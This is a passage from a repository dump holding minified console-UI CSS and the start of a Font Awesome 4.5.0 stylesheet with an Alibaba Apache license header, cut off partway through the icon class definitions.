.console-tag-label{padding:5px 20px 5px 5px;background:#f1f1f1;position:relative;margin-left:2px}.console-tag-select-view .console-tag-label .console-tag-label-remove{position:absolute;top:0;right:0;width:20px;height:27px;line-height:27px;text-align:center;cursor:pointer;color:#666}.console-tag-select-view .console-tag-label .console-tag-label-colon{padding:0 1px}.console-tag-edit .tag-panel{min-height:120px;border:2px dashed #ddd;padding:8px}.console-tag-edit .tag-panel .console-tag-select-view .console-tag-label{margin:4px}.console-tag-edit .tag-edit-tip{color:#999;font-style:italic;margin-top:8px}.console-tag-edit-form{display:inline-block}.console-tag-edit-form input.form-control{width:80px}.console-tag-edit-form.form-inline .form-group{margin:0 8px 0 0px}.console-tag-loading-overlay{position:absolute;height:100%;width:100%;top:0;left:0;background:#fff;opacity:0.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50)}.console-tag-loading-block{position:absolute;top:50%;left:50%}.console-searchbar-textinput{min-width:180px}.console-shuttle .title{border-left:1px solid #e1e6eb;border-right:1px solid #e1e6eb;border-top:1px solid #e1e6eb;background-color:#F5F6FA;padding-left:5px;line-height:30px}.console-shuttle .search{position:relative}.console-shuttle .search .icon-search{position:absolute;right:5px;top:10px;font-size:12px}.console-shuttle .search input{width:100%;height:32px}.console-shuttle .selector{border:1px solid #e1e6eb;height:240px}.console-shuttle .left-selector{height:220px}.console-shuttle .right-selector{height:240px}.console-shuttle .search-hidden{height:240px}.console-shuttle .btn{display:block;margin:12px 45%}.console-shuttle .console-selector{width:40%}.console-shuttle .console-selector-result{width:40%}.console-shuttle .selector-group-options{vertical-align:middle;width:20%;text-align:center;margin-top:100px}.console-shuttle .selector-list .line-head{line-height:12px;margin-bottom:8px;color:#000}.console-shuttle .selector-list .line-bottom{line-height:12px;color:#999}.console-shuttle .selector-list .line-column-left{display:inline-block}.console-shuttle .selector-list .line-column-right{display:inline-block;float:right;padding:5px 0;color:#000}.console-shuttle .selector-list .line-yellow-text{color:#ff6600}.console-shuttle .selector-list .selector-item{height:auto;line-height:normal;padding:10px;text-indent:0}.console-shuttle .selector-list .selector-item:hover{color:auto;background:#f9f9f9}.console-shuttle .selector-list .selector-item.active{color:#fff;background:#0099cb}.console-shuttle .selector-list .selector-item.active .line-head{color:#fff}.console-shuttle .selector-list .selector-item.active .line-bottom{color:#fff}.console-shuttle .selector-list .selector-item.active .line-yellow-text{color:#fff}.console-shuttle .selector-list .selector-item.active .line-column-right{color:#fff}body{font-size:12px}body,h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:\"Helvetica Neue\", \"Luxi Sans\", \"DejaVu Sans\", Tahoma, \"Hiragino Sans GB\", STHeiti, \"Microsoft YaHei\"}a{color:#06C;cursor:pointer}a:hover{color:#039}label{font-size:100%}.nowrap{white-space:nowrap}.breakall{word-break:break-all;word-wrap:break-word}input::-ms-clear{display:none}input[type=\"radio\"],input[type=\"checkbox\"]{margin-top:2px;margin-top:1px \\9}.console-container{padding:0 15px}.console-sidebar{border-right:1px solid #DDD}.console-sidebar .nav{margin-right:4px}.console-sidebar .nav li{border-bottom:1px solid #DDD;padding:4px 0px;position:relative}.console-sidebar .nav li a{color:#333;padding:6px 16px;border-left:2px solid #FFF}.console-sidebar .nav li a:hover{background-color:#FFF;border-left:2px solid #F90}.console-sidebar .nav li a span[class^=\"icon-\"]{position:absolute;left:0px;top:8px;color:#999;font-size:14px}.console-sidebar .nav li.active a{color:#fff;border-left:2px solid #F90;background-color:#313844}.console-sidebar .nav .nav{margin-right:0px}.console-sidebar .nav .nav li{border-bottom:0px}.console-sidebar .nav .nav li a{text-indent:12px;background:#FFF;border-left-color:#FFF;color:#333}.console-sidebar .nav .nav li a:hover{background-color:#FFF;border-left:2px solid #F90}.console-sidebar .nav .nav li.active a{color:#fff;border-left:2px solid #F90;background-color:#313844}.console-instance-head{padding:3px 0px;border-bottom:1px solid #DDD}.console-instance-head h3.instance-id{display:inline-block;margin-right:8px;vertical-align:middle}.console-instance-head .pull-right{padding:16px 0px 10px}.dropdown-menu{font-size:12px;border-radius:0px;padding:0px;box-shadow:2px 2px 8px rgba(0,0,0,0.2)}.dropdown-menu li a{padding:7px 16px}.dropdown-menu .divider{margin:0px 0px}.console-chart{width:100%}.tooltip{word-break:break-all}.popover .popover-inner{padding:8px}.popover .popover-inner .popover-content{padding:0px}.console-not-service{margin-top:80px}.console-not-service .console-not-service-icon{text-align:right;padding-top:8px}.console-not-service .console-not-service-title{font-size:20px}.console-not-service .console-not-service-text{font-size:12px;color:#666}.console-not-service .console-not-service-link{border-top:1px solid #EEE;margin-top:16px;padding-top:16px}.console-step{height:24px;position:relative;margin-left:0px;margin-right:0px}.console-step .step{font-size:14px;height:24px;line-height:24px;color:#FFF;background:#cacaca;z-index:1;text-align:center}.console-step .step:before{content:'';display:block;position:absolute;left:-12px;z-index:8;top:0px;border-top:12px solid #cacaca;border-left:12px solid transparent !important;border-bottom:12px solid #cacaca}.console-step .step:after{content:'';display:block;width:16px;height:24px;position:absolute;right:0px;z-index:9;top:0px;border-top:12px solid transparent !important;border-left:12px solid #cacaca;border-bottom:12px solid transparent !important;background-color:#FFF}.console-step .step-first:before{display:none}.console-step .step-end:after{display:none}.console-step .step-pass{background-color:#99dcf3}.console-step .step-pass:after{border-color:#99dcf3}.console-step .step-pass:before{border-color:#99dcf3}.console-step .step-active{background-color:#00a0c7}.console-step .step-active:after{border-color:#00a0c7}.console-step .step-active:before{border-color:#00a0c7}\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/font-awesome.css",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/*!\n *  Font Awesome 4.5.0 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n/* FONT PATH\n * -------------------------- */\n@font-face {\n  font-family: 'FontAwesome';\n  src: url('../fonts/fontawesome-webfont.eot?v=4.5.0');\n  src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.5.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.5.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.5.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.5.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.5.0#fontawesomeregular') format('svg');\n  font-weight: normal;\n  font-style: normal;\n}\n.fa {\n  display: inline-block;\n  font: normal normal normal 14px/1 FontAwesome;\n  font-size: inherit;\n  text-rendering: auto;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n/* makes the font 33% larger relative to the icon container */\n.fa-lg {\n  font-size: 1.33333333em;\n  line-height: 0.75em;\n  vertical-align: -15%;\n}\n.fa-2x {\n  font-size: 2em;\n}\n.fa-3x {\n  font-size: 3em;\n}\n.fa-4x {\n  font-size: 4em;\n}\n.fa-5x {\n  font-size: 5em;\n}\n.fa-fw {\n  width: 1.28571429em;\n  text-align: center;\n}\n.fa-ul {\n  padding-left: 0;\n  margin-left: 2.14285714em;\n  list-style-type: none;\n}\n.fa-ul > li {\n  position: relative;\n}\n.fa-li {\n  position: absolute;\n  left: -2.14285714em;\n  width: 2.14285714em;\n  top: 0.14285714em;\n  text-align: center;\n}\n.fa-li.fa-lg {\n  left: -1.85714286em;\n}\n.fa-border {\n  padding: .2em .25em .15em;\n  border: solid 0.08em #eeeeee;\n  border-radius: .1em;\n}\n.fa-pull-left {\n  float: left;\n}\n.fa-pull-right {\n  float: right;\n}\n.fa.fa-pull-left {\n  margin-right: .3em;\n}\n.fa.fa-pull-right {\n  margin-left: .3em;\n}\n/* Deprecated as of 4.4.0 */\n.pull-right {\n  float: right;\n}\n.pull-left {\n  float: left;\n}\n.fa.pull-left {\n  margin-right: .3em;\n}\n.fa.pull-right {\n  margin-left: .3em;\n}\n.fa-spin {\n  -webkit-animation: fa-spin 2s infinite linear;\n  animation: fa-spin 2s infinite linear;\n}\n.fa-pulse {\n  -webkit-animation: fa-spin 1s infinite steps(8);\n  animation: fa-spin 1s infinite steps(8);\n}\n@-webkit-keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n@keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n.fa-rotate-90 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n.fa-rotate-180 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);\n  -webkit-transform: rotate(180deg);\n  -ms-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n.fa-rotate-270 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);\n  -webkit-transform: rotate(270deg);\n  -ms-transform: rotate(270deg);\n  transform: rotate(270deg);\n}\n.fa-flip-horizontal {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);\n  -webkit-transform: scale(-1, 1);\n  -ms-transform: scale(-1, 1);\n  transform: scale(-1, 1);\n}\n.fa-flip-vertical {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);\n  -webkit-transform: scale(1, -1);\n  -ms-transform: scale(1, -1);\n  transform: scale(1, -1);\n}\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical {\n  filter: none;\n}\n.fa-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.fa-stack-1x,\n.fa-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.fa-stack-1x {\n  line-height: inherit;\n}\n.fa-stack-2x {\n  font-size: 2em;\n}\n.fa-inverse {\n  color: #ffffff;\n}\n/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n.fa-glass:before {\n  content: \"\\f000\";\n}\n.fa-music:before {\n  content: \"\\f001\";\n}\n.fa-search:before {\n  content: \"\\f002\";\n}\n.fa-envelope-o:before {\n  content: \"\\f003\";\n}\n.fa-heart:before {\n  content: \"\\f004\";\n}\n.fa-star:before {\n  content: \"\\f005\";\n}\n.fa-star-o:before {\n  content: \"\\f006\";\n}\n.fa-user:before {\n  content: \"\\f007\";\n}\n.fa-film:before {\n  content: \"\\f008\";\n}\n.fa-th-large:before {\n  content: \"\\f009\";\n}\n.fa-th:before {\n  content: \"\\f00a\";\n}\n.fa-th-list:before {\n  content: \"\\f00b\";\n}\n.fa-check:before {\n  content: \"\\f00c\";\n}\n.fa-remove:before,\n.fa-close:before,\n.fa-times:before {\n  content: \"\\f00d\";\n}\n.fa-search-plus:before {\n  content: \"\\f00e\";\n}\n.fa-search-minus:before {\n  content: \"\\f010\";\n}\n.fa-power-off:before {\n  content: \"\\f011\";\n}\n.fa-signal:before {\n  content: \"\\f012\";\n}\n.fa-gear:before,\n.fa-cog:before {\n  content: \"\\f013\";\n}\n.fa-trash-o:before {\n  content: \"\\f014\";\n}\n.fa-home:before {\n  content: \"\\f015\";\n}\n.fa-file-o:before {\n  content: \"\\f016\";\n}\n.fa-clock-o:before {\n  content: \"\\f017\";\n}\n.fa-road:before {\n  content: \"\\f018\";\n}\n.fa-download:before {\n  content: \"\\f019\";\n}\n.fa-arrow-circle-o-down:before {\n  content: \"\\f01a\";\n}\n.fa-arrow-circle-o-up:before {\n  content: \"\\f01b\";\n}\n.fa-inbox:before {\n  content: \"\\f01c\";\n}\n.fa-play-circle-o:before {\n  content: \"\\f01d\";\n}\n.fa-rotate-right:before,\n.fa-repeat:before {\n  content: \"\\f01e\";\n}\n.fa-refresh:before {\n  content: \"\\f021\";\n}\n.fa-list-alt:before {\n  content: \"\\f022\";\n}\n.fa-lock:before {\n  content: \"\\f023\";\n}\n.fa-flag:before {\n  content: \"\\f024\";\n}\n.fa-headphones:before {\n  content: \"\\f025\";\n}\n.fa-volume-off:before {\n  content: \"\\f026\";\n}\n.fa-volume-down:before {\n  content: \"\\f027\";\n}\n.fa-volume-up:before {\n  content: \"\\f028\";\n}\n.fa-qrcode:before {\n  content: \"\\f029\";\n}\n.fa-barcode:before {\n  content: \"\\f02a\";\n}\n.fa-tag:before {\n  content: \"\\f02b\";\n}\n.fa-tags:before {\n  content: \"\\f02c\";\n}\n.fa-book:before {\n  content: \"\\f02d\";\n}\n.fa-bookmark:before {\n  content: \"\\f02e\";\n}\n.fa-print:before {\n  content: \"\\f02f\";\n}\n.fa-camera:before {\n  content: \"\\f030\";\n}\n.fa-font:before {\n  content: \"\\f031\";\n}\n.fa-bold:before {\n  content: \"\\f032\";\n}\n.fa-italic:before {\n  content: \"\\f033\";\n}\n.fa-text-height:before {\n  content: \"\\f034\";\n}\n.fa-text-width:before {\n  content: \"\\f035\";\n}\n.fa-align-left:before {\n  content: \"\\f036\";\n}\n.fa-align-center:before {\n  content: \"\\f037\";\n}\n.fa-align-right:before {\n  content: \"\\f038\";\n}\n.fa-align-justify:before {\n  content: \"\\f039\";\n}\n.fa-list:before {\n  content: \"\\f03a\";\n}\n.fa-dedent:before,\n.fa-outdent:before {\n  content: \"\\f03b\";\n}\n.fa-indent:before {\n  content: \"\\f03c\";\n}\n.fa-video-camera:before {\n  content: \"\\f03d\";\n}\n.fa-photo:before,\n.fa-image:before,\n.fa-picture-o:before {\n  content: \"\\f03e\";\n}\n.fa-pencil:before {\n  content: \"\\f040\";\n}\n.fa-map-marker:before {\n  content: \"\\f041\";\n}\n.fa-adjust:before {\n  content: \"\\f042\";\n}\n.fa-tint:before {\n  content: \"\\f043\";\n}\n.fa-edit:before,\n.fa-pencil-square-o:before {\n  content: \"\\f044\";\n}\n.fa-share-square-o:before {\n  content: \"\\f045\";\n}\n.fa-check-square-o:before {\n  content: \"\\f046\";\n}\n.fa-arrows:before {\n  content: \"\\f047\";\n}\n.fa-step-backward:before {\n  content: \"\\f048\";\n}\n.fa-fast-backward:before {\n  content: \"\\f049\";\n}\n.fa-backward:before {\n  content: \"\\f04a\";\n}\n.fa-play:before {\n  content: \"\\f04b\";\n}\n.fa-pause:before {\n  content: \"\\f04c\";\n}\n.fa-stop:before {\n  content: \"\\f04d\";\n}\n.fa-forward:before {\n  content: \"\\f04e\";\n}\n.fa-fast-forward:before {\n  content: \"\\f050\";\n}\n.fa-step-forward:before {\n  content: \"\\f051\";\n}\n.fa-eject:before {\n  content: \"\\f052\";\n}\n.fa-chevron-left:before {\n  content: \"\\f053\";\n}\n.fa-chevron-right:before {\n  content: \"\\f054\";\n}\n.fa-plus-circle:before {\n  content: \"\\f055\";\n}\n.fa-minus-circle:before {\n  content: \"\\f056\";\n}\n.fa-times-circle:before {\n  content: \"\\f057\";\n}\n.fa-check-circle:before {\n  content: \"\\f058\";\n}\n.fa-question-circle:before {\n  content: \"\\f059\";\n}\n.fa-info-circle:before {\n  content: \"\\f05a\";\n}\n.fa-crosshairs:before {\n  content: \"\\f05b\";\n}\n.fa-times-circle-o:before {\n  content: \"\\f05c\";\n}\n.fa-check-circle-o:before {\n  content: \"\\f05d\";\n}\n.fa-ban:before {\n  content: \"\\f05e\";\n}\n.fa-arrow-left:before {\n  content: \"\\f060\";\n}\n.fa-arrow-right:before {\n  content: \"\\f061\";\n}\n.fa-arrow-up:before {\n  content: \"\\f062\";\n}\n.fa-arrow-down:before {\n  content: \"\\f063\";\n}\n.fa-mail-forward:before,\n.fa-share:before {\n  content: \"\\f064\";\n}\n.fa-expand:before {\n  content: \"\\f065\";\n}\n.fa-compress:before {\n  content: \"\\f066\";\n}\n.fa-plus:before {\n  content: \"\\f067\";\n}\n.fa-minus:before {\n  content: \"\\f068\";\n}\n.fa-asterisk:before {\n  content: \"\\f069\";\n}\n.fa-exclamation-circle:before {\n  content: \"\\f06a\";\n}\n.fa-gift:before {\n  content: \"\\f06b\";\n}\n.fa-leaf:before {\n  content: \"\\f06c\";\n}\n.fa-fire:before {\n  content: \"\\f06d\";\n}\n.fa-eye:before {\n  content: \"\\f06e\";\n}\n.fa-eye-slash:before {\n  content: \"\\f070\";\n}\n.fa-warning:before,\n.fa-exclamation-triangle:before {\n  content: \"\\f071\";\n}\n.fa-plane:before {\n  content: \"\\f072\";\n}\n.fa-calendar:before {\n  content: \"\\f073\";\n}\n.fa-random:before {\n  content: \"\\f074\";\n}\n.fa-comment:before {\n  content: \"\\f075\";\n}\n.fa-magnet:before {\n  content: \"\\f076\";\n}\n.fa-chevron-up:before {\n  content: \"\\f077\";\n}\n.fa-chevron-down:before {\n  content: \"\\f078\";\n}\n.fa-retweet:before {\n  content: \"\\f079\";\n}\n.fa-shopping-cart:before {\n  content: \"\\f07a\";\n}\n.fa-folder:before {\n  content: \"\\f07b\";\n}\n.fa-folder-open:before {\n  content: \"\\f07c\";\n}\n.fa-arrows-v:before {\n  content: \"\\f07d\";\n}\n.fa-arrows-h:before {\n  content: \"\\f07e\";\n}\n.fa-bar-chart-o:before,\n.fa-bar-chart:before {\n  content: \"\\f080\";\n}\n.fa-twitter-square:before {\n  content: \"\\f081\";\n}\n.fa-facebook-square:before {\n  content: \"\\f082\";\n}\n.fa-camera-retro:before {\n  content: \"\\f083\";\n}\n.fa-key:before {\n  content: \"\\f084\";\n}\n.fa-gears:before,\n.fa-cogs:before {\n  content: \"\\f085\";\n}\n.fa-comments:before {\n  content: \"\\f086\";\n}\n.fa-thumbs-o-up:before {\n  content: \"\\f087\";\n}\n.fa-thumbs-o-down:before {\n  content: \"\\f088\";\n}\n.fa-star-half:before {\n  content: \"\\f089\";\n}\n.fa-heart-o:before {\n  content: \"\\f08a\";\n}\n.fa-sign-out:before {\n  content: \"\\f08b\";\n}\n.fa-linkedin-square:before {\n  content: \"\\f08c\";\n}\n.fa-thumb-tack:before {\n  content: \"\\f08d\";\n}\n.fa-external-link:before {\n  content: \"\\f08e\";\n}\n.fa-sign-in:before {\n  content: \"\\f090\";\n}\n.fa-trophy:before {\n  content: \"\\f091\";\n}\n.fa-github-square:before {\n  content: \"\\f092\";\n}\n.fa-upload:before {\n  content: \"\\f093\";\n}\n.fa-lemon-o:before {\n  content: \"\\f094\";\n}\n.fa-phone:before {\n  content: \"\\f095\";\n}\n.fa-square-o:before {\n  content: \"\\f096\";\n}\n.fa-bookmark-o:before {\n  content: \"\\f097\";\n}\n.fa-phone-square:before {\n  content: \"\\f098\";\n}\n.fa-twitter:before {\n  content: \"\\f099\";\n}\n.fa-facebook-f:before,\n.fa-facebook:before {\n  content: \"\\f09a\";\n}\n.fa-github:before {\n  content: \"\\f09b\";\n}\n.fa-unlock:before {\n  content: \"\\f09c\";\n}\n.fa-credit-card:before {\n  content: \"\\f09d\";\n}\n.fa-feed:before,\n.fa-rss:before {\n  content: \"\\f09e\";\n}\n.fa-hdd-o:before {\n  content: \"\\f0a0\";\n}\n.fa-bullhorn:before {\n  content: \"\\f0a1\";\n}\n.fa-bell:before {\n  content: \"\\f0f3\";\n}\n.fa-certificate:before {\n  content: \"\\f0a3\";\n}\n.fa-hand-o-right:before {\n  content: \"\\f0a4\";\n}\n.fa-hand-o-left:before {\n  content: \"\\f0a5\";\n}\n.fa-hand-o-up:before {\n  content: \"\\f0a6\";\n}\n.fa-hand-o-down:before {\n  content: \"\\f0a7\";\n}\n.fa-arrow-circle-left:before {\n  content: \"\\f0a8\";\n}\n.fa-arrow-circle-right:before {\n  content: \"\\f0a9\";\n}\n.fa-arrow-circle-up:before {\n  content: \"\\f0aa\";\n}\n.fa-arrow-circle-down:before {\n  content: \"\\f0ab\";\n}\n.fa-globe:before {\n  content: \"\\f0ac\";\n}\n.fa-wrench:before {\n  content: \"\\f0ad\";\n}\n.fa-tasks:before {\n  content: \"\\f0ae\";\n}\n.fa-filter:before {\n  content: \"\\f0b0\";\n}\n.fa-briefcase:before {\n  content: \"\\f0b1\";\n}\n.fa-arrows-alt:before {\n  content: \"\\f0b2\";\n}\n.fa-group:before,\n.fa-users:before {\n  content: \"\\f0c0\";\n}\n.fa-chain:before,\n.fa-link:before {\n  content: \"\\f0c1\";\n}\n.fa-cloud:before {\n  content: \"\\f0c2\";\n}\n.fa-flask:before {\n  content: \"\\f0c3\";\n}\n.fa-cut:before,\n.fa-scissors:before {\n  content: \"\\f0c4\";\n}\n.fa-copy:before,\n.fa-files-o:before {\n  content: \"\\f0c5\";\n}\n.fa-paperclip:before {\n  content: \"\\f0c6\";\n}\n.fa-save:before,\n.fa-floppy-o:before {\n  content: \"\\f0c7\";\n}\n.fa-square:before {\n  content: \"\\f0c8\";\n}\n.fa-navicon:before,\n.fa-reorder:before,\n.fa-bars:before {\n  content: \"\\f0c9\";\n}\n.fa-list-ul:before {\n  content: \"\\f0ca\";\n}\n.fa-list-ol:before {\n  content: \"\\f0cb\";\n}\n.fa-strikethrough:before {\n  content: \"\\f0cc\";\n}\n.fa-underline:before {\n  content: \"\\f0cd\";\n}\n.fa-table:before {\n  content: \"\\f0ce\";\n}\n.fa-magic:before {\n  content: \"\\f0d0\";\n}\n.fa-truck:before {\n  content: \"\\f0d1\";\n}\n.fa-pinterest:before {\n  content: \"\\f0d2\";\n}\n.fa-pinterest-square:before {\n  content: \"\\f0d3\";\n}\n.fa-google-plus-square:before {\n  content: \"\\f0d4\";\n}\n.fa-google-plus:before {\n  content: \"\\f0d5\";\n}\n.fa-money:before {\n  content: \"\\f0d6\";\n}\n.fa-caret-down:before {\n  content: \"\\f0d7\";\n}\n.fa-caret-up:before {\n  content: \"\\f0d8\";\n}\n.fa-caret-left:before {\n  content: \"\\f0d9\";\n}\n.fa-caret-right:before {\n  content: \"\\f0da\";\n}\n.fa-columns:before {\n  content: \"\\f0db\";\n}\n.fa-unsorted:before,\n.fa-sort:before {\n  content: \"\\f0dc\";\n}\n.fa-sort-down:before,\n.fa-sort-desc:before {\n  content: \"\\f0dd\";\n}\n.fa-sort-up:before,\n.fa-sort-asc:before {\n  content: \"\\f0de\";\n}\n.fa-envelope:before {\n  content: \"\\f0e0\";\n}\n.fa-linkedin:before {\n  content: \"\\f0e1\";\n}\n.fa-rotate-left:before,\n.fa-undo:before {\n  content: \"\\f0e2\";\n}\n.fa-legal:before,\n.fa-gavel:before {\n  content: \"\\f0e3\";\n}\n.fa-dashboard:before,\n.fa-tachometer:before {\n  content: \"\\f0e4\";\n}\n.fa-comment-o:before {\n  content: \"\\f0e5\";\n}\n.fa-comments-o:before {\n  content: \"\\f0e6\";\n}\n.fa-flash:before,\n.fa-bolt:before {\n  content: \"\\f0e7\";\n}\n.fa-sitemap:before {\n  content: \"\\f0e8\";\n}\n.fa-umbrella:before {\n  content: \"\\f0e9\";\n}\n.fa-paste:before,\n.fa-clipboard:before {\n  content: \"\\f0ea\";\n}\n.fa-lightbulb-o:before {\n  content: \"\\f0eb\";\n}\n.fa-exchange:before {\n  content: \"\\f0ec\";\n}\n.fa-cloud-download:before {\n  content: \"\\f0ed\";\n}\n.fa-cloud-upload:before {\n  content: \"\\f0ee\";\n}\n.fa-user-md:before {\n  content: \"\\f0f0\";\n}\n.fa-stethoscope:before {\n  content: \"\\f0f1\";\n}\n.fa-suitcase:before {\n  content: \"\\f0f2\";\n}\n.fa-bell-o:before {\n  content: \"\\f0a2\";\n}\n.fa-coffee:before {\n  content: \"\\f0f4\";\n}\n.fa-cutlery:before {\n  content: \"\\f0f5\";\n}\n.fa-file-text-o:before {\n  content: \"\\f0f6\";\n}\n.fa-building-o:before {\n  content: \"\\f0f7\";\n}\n.fa-hospital-o:before {\n  content: \"\\f0f8\";\n}\n.fa-ambulance:before {\n  content: \"\\f0f9\";\n}\n.fa-medkit:before {\n  content: \"\\f0fa\";\n}\n.fa-fighter-jet:before {\n  content: \"\\f0fb\";\n}\n.fa-beer:before {\n  content: \"\\f0fc\";\n}\n.fa-h-square:before {\n  content: \"\\f0fd\";\n}\n.fa-plus-square:before {\n  content: \"\\f0fe\";\n}\n.fa-angle-double-left:before {\n  content: \"\\f100\";\n}\n.fa-angle-double-right:before {\n  content: \"\\f101\";\n}\n.fa-angle-double-up:before {\n  content: \"\\f102\";\n}\n.fa-angle-double-down:before {\n  content: \"\\f103\";\n}\n.fa-angle-left:before {\n  content: \"\\f104\";\n}\n.fa-angle-right:before {\n  content: \"\\f105\";\n}\n.fa-angle-up:before {\n  content: \"\\f106\";\n}\n.fa-angle-down:before {\n  content: \"\\f107\";\n}\n.fa-desktop:before {\n  content: \"\\f108\";\n}\n.fa-laptop:before {\n  content: \"\\f109\";\n}\n.fa-tablet:before {\n  content: \"\\f10a\";\n}\n.fa-mobile-phone:before,\n.fa-mobile:before {\n  content: \"\\f10b\";\n}\n.fa-circle-o:before {\n  content: \"\\f10c\";\n}\n.fa-quote-left:before {\n  content: \"\\f10d\";\n}\n.fa-quote-right:before {\n  content: \"\\f10e\";\n}\n.fa-spinner:before {\n  content: \"\\f110\";\n}\n.fa-circle:before {\n  content: \"\\f111\";\n}\n.fa-mail-reply:before,\n.fa-reply:before {\n  content: \"\\f112\";\n}\n.fa-github-alt:before {\n  content: \"\\f113\";\n}\n.fa-folder-o:before {\n  content: \"\\f114\";\n}\n.fa-folder-open-o:before {\n  content: \"\\f115\";\n}\n.fa-smile-o:before {\n  content: \"\\f118\";\n}\n.fa-frown-o:before {\n  content: \"\\f119\";\n}\n.fa-meh-o:before {\n  content: \"\\f11a\";\n}\n.fa-gamepad:before {\n  content: \"\\f11b\";\n}\n.fa-keyboard-o:before {\n  content: \"\\f11c\";\n}\n.fa-flag-o:before {\n  content: \"\\f11d\";\n}\n.fa-flag-checkered:before {\n  content: \"\\f11e\";\n}\n.fa-terminal:before {\n  content: \"\\f120\";\n}\n.fa-code:before {\n  content: \"\\f121\";\n}\n.fa-mail-reply-all:before,\n.fa-reply-all:before {\n  content: \"\\f122\";\n}\n.fa-star-half-empty:before,\n.fa-star-half-full:before,\n.fa-star-half-o:before {\n  content: \"\\f123\";\n}\n.fa-location-arrow:before {\n  content: \"\\f124\";\n}\n.fa-crop:before {\n  content: \"\\f125\";\n}\n.fa-code-fork:before {\n  content: \"\\f126\";\n}\n.fa-unlink:before,\n.fa-chain-broken:before {\n  content: \"\\f127\";\n}\n.fa-question:before {\n  content: \"\\f128\";\n}\n.fa-info:before {\n  content: \"\\f129\";\n}\n.fa-exclamation:before {\n  content: \"\\f12a\";\n}\n.fa-superscript:before {\n  content: \"\\f12b\";\n}\n.fa-subscript:before {\n  content: \"\\f12c\";\n}\n.fa-eraser:before {\n  content: \"\\f12d\";\n}\n.fa-puzzle-piece:before {\n  content: \"\\f12e\";\n}\n.fa-microphone:before {\n  content: \"\\f130\";\n}\n.fa-microphone-slash:before {\n  content: \"\\f131\";\n}\n.fa-shield:before {\n  content: \"\\f132\";\n}\n.fa-calendar-o:before {\n  content: \"\\f133\";\n}\n.fa-fire-extinguisher:before {\n  content: \"\\f134\";\n}\n.fa-rocket:before {\n  content: \"\\f135\";\n}\n.fa-maxcdn:before {\n  content: \"\\f136\";\n}\n.fa-chevron-circle-left:before {\n  content: \"\\f137\";\n}\n.fa-chevron-circle-right:before {\n  content: \"\\f138\";\n}\n.fa-chevron-circle-up:before {\n  content: \"\\f139\";\n}\n.fa-chevron-circle-down:before {\n  content: \"\\f13a\";\n}\n.fa-html5:before {\n  content: \"\\f13b\";\n}\n.fa-css3:before {\n  content: \"\\f13c\";\n}\n.fa-anchor:before {\n  content: \"\\f13d\";\n}\n.fa-unlock-alt:before {\n  content: \"\\f13e\";\n}\n.fa-bullseye:before {\n  content: \"\\f140\";\n}\n.fa-ellipsis-h:before {\n  content: \"\\f141\";\n}\n.fa-ellipsis-v:before {\n  content: \"\\f142\";\n}\n.fa-rss-square:before {\n  content: \"\\f143\";\n}\n.fa-play-circle:before {\n  content: \"\\f144\";\n}\n.fa-ticket:before {\n  content: \"\\f145\";\n}\n.fa-minus-square:before {\n  content: \"\\f146\";\n}\n.fa-minus-square-o:before {\n  content: \"\\f147\";\n}\n.fa-level-up:before {\n  content: \"\\f148\";\n}\n.fa-level-down:before {\n  content: \"\\f149\";\n}\n.fa-check-square:before {\n  content: \"\\f14a\";\n}\n.fa-pencil-square:before {\n  content: \"\\f14b\";\n}\n.fa-external-link-square:before {\n  content: \"\\f14c\";\n}\n.fa-share-square:before {\n  content: \"\\f14d\";\n}\n.fa-compass:before {\n  content: \"\\f14e\";\n}\n.fa-toggle-down:before,\n.fa-caret-square-o-down:before {\n  content: \"\\f150\";\n}\n.fa-toggle-up:before,\n.fa-caret-square-o-up:before {\n  content: \"\\f151\";\n}\n.fa-toggle-right:before,\n.fa-caret-square-o-right:before {\n  content: \"\\f152\";\n}\n.fa-euro:before,\n.fa-eur:before {\n  content: \"\\f153\";\n}\n.fa-gbp:before {\n  content: \"\\f154\";\n}\n.fa-dollar:before,\n.fa-usd:before {\n  content: \"\\f155\";\n}\n.fa-rupee:before,\n.fa-inr:before {\n  content: 